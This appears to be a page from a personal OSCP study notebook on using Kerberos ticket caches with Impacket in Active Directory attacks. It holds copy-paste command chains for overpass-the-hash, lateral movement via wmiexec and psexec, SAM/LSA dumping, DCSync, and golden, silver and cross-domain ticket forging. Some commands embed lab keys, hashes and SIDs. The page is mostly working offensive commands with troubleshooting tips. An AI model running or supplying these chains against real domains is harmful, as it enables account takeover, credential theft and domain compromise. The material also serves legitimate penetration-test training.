Pearson's OSCP Notebook

Use Kerberos Ticket

Properties1
tagsimpacket, kerberos, ccache, krb5ccname, gettgt, getst, ticketer, golden-ticket, silver-ticket, wmiexec, psexec, secretsdump, oscp

5 min read

Use Kerberos Ticket — .ccache / -k -no-pass

Ctrl+F: KRB5CCNAME · ccache · -k -no-pass · getTGT · getST · ticketer · golden ticket

External: Internal All The Things — Kerberos Tickets External: Internal All The Things — OverPass-the-Hash

You have: a .ccache file (Kerberos ticket on disk).

Sources:

FromFile created
Kerberos Scripts > getTGTuser.ccache
Kerberos Scripts > getSTUpdated user.ccache (adds TGS)
Kerberos Scripts > ticketeradministrator.ccache (Golden/Silver)
Rubeus dump /nowrap + conversionImported ccache
PKINITtools gettgtpkinit.pyuser.ccache (cert auth) → Shadow Credentials - pywhisker

Goal: Shell, lateral movement, hash dump, DCSync — without password on the wire.

📌 1) Prerequisites (every time)

# 0. krb5.conf + hosts (if not done) → [[Kerberos Setup - krb5.conf]]
cat domain.krb5 | sudo tee /etc/krb5.conf
 
# 1. Sync time to DC (±5 min)
sudo timedatectl set-ntp false
sudo ntpdate -s DC_IP
# HTB / no NTP: sudo date -u -s "YYYY-MM-DD HH:MM:SS"
# → [[Time Sync-Clock Skew]]
 
# 2. Request or forge ticket (if you don't have ccache yet)
impacket-getTGT BLACKFIELD.LOCAL/svc_backup \
    -aesKey 20a3e879a3a0ca4f51db1e63514a27ac18eef553d8f30c29805c398c97599e91 \
    -dc-ip 10.10.10.10
 
# Password
impacket-getTGT corp.local/user:password -dc-ip DC_IP
 
# NT hash (overpass-the-hash)
impacket-getTGT corp.local/user -hashes ':NT_HASH' -dc-ip DC_IP
 
# 3. Point shell at the ticket (same terminal session!)
export KRB5CCNAME=svc_backup.ccache
# Full path if issues:
export KRB5CCNAME=$(pwd)/svc_backup.ccache

Ticket is per-shell — re-export KRB5CCNAME in every new terminal.

📌 2) Impacket tools with the ticket

ToolUse caseCommand
wmiexecQuiet shell / commands (try first)impacket-wmiexec corp.local/user@TARGET -k -no-pass -dc-ip DC_IP
psexecInteractive SYSTEM shell (noisy)impacket-psexec -k -no-pass corp.local/user@TARGET -dc-ip DC_IP
smbexecNo ADMIN$ shareimpacket-smbexec corp.local/user@TARGET -k -no-pass -dc-ip DC_IP
atexecTask scheduler execimpacket-atexec corp.local/user@TARGET -k -no-pass -dc-ip DC_IP "whoami"
dcomexecDCOM execimpacket-dcomexec corp.local/user@TARGET -k -no-pass -dc-ip DC_IP
secretsdumpLocal SAM/LSA on any hostimpacket-secretsdump -k -no-pass corp.local/user@TARGET -dc-ip DC_IP
secretsdumpDCSync — domain NTLMimpacket-secretsdump -k -no-pass corp.local/user@DC_IP -just-dc-ntlm
smbclientInteractive SMB share browserimpacket-smbclient -k todd.wolfe@dc.voleur.htb → smbclient
mssqlclientMSSQL shell (silver ticket / Kerberos)impacket-mssqlclient -k -no-pass domain.htb/Administrator@dc01.domain.htb -dc-ip DC_IP
mssqlclientMSSQL shell (password / NTLM)impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth

Required flags

FlagWhy
-kUse Kerberos ticket from KRB5CCNAME
-no-passNo password on command line
-dc-ip DC_IPKDC address — almost always required from Linux

📌 3) Full copy-paste workflow

export KRB5CCNAME=svc_backup.ccache
 
# Shell / lateral movement
impacket-wmiexec corp.local/svc_backup@TARGET -k -no-pass -dc-ip 10.10.10.10
impacket-psexec -k -no-pass corp.local/svc_backup@TARGET -dc-ip 10.10.10.10
 
# Hash dump — admin on any host (local SAM/LSA)
impacket-secretsdump -k -no-pass corp.local/svc_backup@TARGET -dc-ip 10.10.10.10
 
# DCSync — DC target (needs DA or DCSync rights)
impacket-secretsdump -k -no-pass corp.local/svc_backup@DC_IP -just-dc-ntlm

After hashes → Credential Graph · nxc smb ... --continue-on-success

📌 4) After getST (service ticket)

If you used getST for a specific SPN (RBCD, constrained delegation):

export KRB5CCNAME=user.ccache
impacket-getST corp.local/user -spn cifs/TARGET.corp.local -dc-ip DC_IP
 
export KRB5CCNAME=user.ccache
impacket-wmiexec -k -no-pass corp.local/user@TARGET -dc-ip DC_IP

→ Request: Kerberos Scripts > getST

📌 5) After ticketer (Golden / Silver)

# Standard golden ticket
impacket-ticketer -nthash KRBTGT_NTHASH -domain-sid S-1-5-21-... -domain corp.local administrator
 
# Child domain → parent EA (cross-forest) — see [[nltest]] for trusts
impacket-ticketer -nthash KRBTGT_NTHASH \
    -domain child.corp.local -domain-sid S-1-5-21-CHILD-SID \
    -extra-sid S-1-5-21-PARENT-SID-519 hacker
 
# Silver ticket (MSSQL — Signed-style)
impacket-ticketer -spn MSSQLSVC/dc01.signed.htb -domain signed.htb \
    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
    -nthash ef699384c3285c54128a3ee1ddb1a0cc Administrator
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass signed.htb/Administrator@dc01.signed.htb -dc-ip DC_IP
impacket-secretsdump -k -no-pass corp.local/administrator@DC_IP -just-dc-ntlm

Domain SID / trusts → lookupsid & samrdump · nltest · Kerberos Scripts > ticketer

📌 6) Common errors

ErrorFix
Clock skew too greatTime Sync-Clock Skew — date -u -s if NTP blocked
KRB_AP_ERR_SKEWSame — sync within 5 min of DC
KDC_ERR_PREAUTH_FAILEDWrong AES/NT hash on getTGT — re-check key
Ticket ignoredexport KRB5CCNAME=user.ccache in same shell
KRB5CCNAME not foundUse $(pwd)/file.ccache full path
psexec/wmiexec -k fails but ticket looks validAdd FQDN to /etc/hosts — ticket SPN must match hostname → Use Kerberos Ticket > 📌 7) Worked example — KRB5CCNAME + /etc/hosts + psexec
Wrong target hostnameUse FQDN from ticket (resourcedc.resourced.local), not bare IP, with -k

📌 7) Worked example — KRB5CCNAME + /etc/hosts + psexec

You have a valid .ccache and krb5.conf but impacket-psexec -k -no-pass still fails — often because:

  1. KRB5CCNAME is not exported in this shell
  2. /etc/hosts is missing the exact FQDN the ticket was issued for
  3. Target on command line must be the hostname, not only -dc-ip

Kerberos tickets are valid for a specific SPN/hostname (e.g. resourcedc.resourced.local). Linux must resolve that name to the DC IP.

Step 1 — Export ticket path

KRB5CCNAME tells Linux/Impacket which .ccache file to use for -k auth:

export KRB5CCNAME=/home/ryan/Desktop/Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache
 
# Or from current directory:
export KRB5CCNAME=$(pwd)/Administrator.ccache

Re-export in every new terminal before -k tools.

→ Kerberos Setup - krb5.conf · Time Sync-Clock Skew

Step 2 — Add host entry (/etc/hosts)

Map the FQDN in the ticket to the DC IP — Kerberos requires the hostname to match:

sudo sh -c 'echo "192.168.246.175 resourcedc.resourced.local" >> /etc/hosts'
WhyDetail
Ticket saysValid for resourcedc.resourced.local
Without hosts entryLinux doesn’t know IP for that name → Kerberos fails
With hosts entryName resolves → SPN matches → -k works

Also add domain/short names if the lab needs them:

echo '192.168.246.175 resourcedc.resourced.local resourced.local RESOURCED.LOCAL' | sudo tee -a /etc/hosts

Or use nxc: --generate-hosts-file → CrackMapExec - nxc > 📌 Generate hosts file

Step 3 — psexec with Kerberos

Use the FQDN as target (not bare IP for the @ target):

sudo impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.246.175

Generic template:

export KRB5CCNAME=/path/to/user.ccache
sudo sh -c 'echo "DC_IP dc.domain.local domain.local" >> /etc/hosts'
impacket-psexec -k -no-pass dc.domain.local -dc-ip DC_IP
# or quieter:
impacket-wmiexec -k -no-pass domain.local/user@dc.domain.local -dc-ip DC_IP

Full copy-paste chain

# Prerequisites: krb5.conf + time sync already done
export KRB5CCNAME=/home/ryan/Desktop/Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache
sudo sh -c 'echo "192.168.246.175 resourcedc.resourced.local" >> /etc/hosts'
sudo timedatectl set-ntp false && sudo ntpdate -s 192.168.246.175
 
sudo impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.246.175

Checklist when -k “should work” but doesn’t:

✅ export KRB5CCNAME=... in THIS shell
✅ /etc/hosts has DC FQDN → IP (exact name from ticket/SPN)
✅ Time synced to DC (±5 min)
✅ /etc/krb5.conf realm matches domain
✅ Target = FQDN, not IP alone (keep -dc-ip for KDC)

→ Remote Execution · Kerberos Scripts > getTGT

Graph View

Backlinks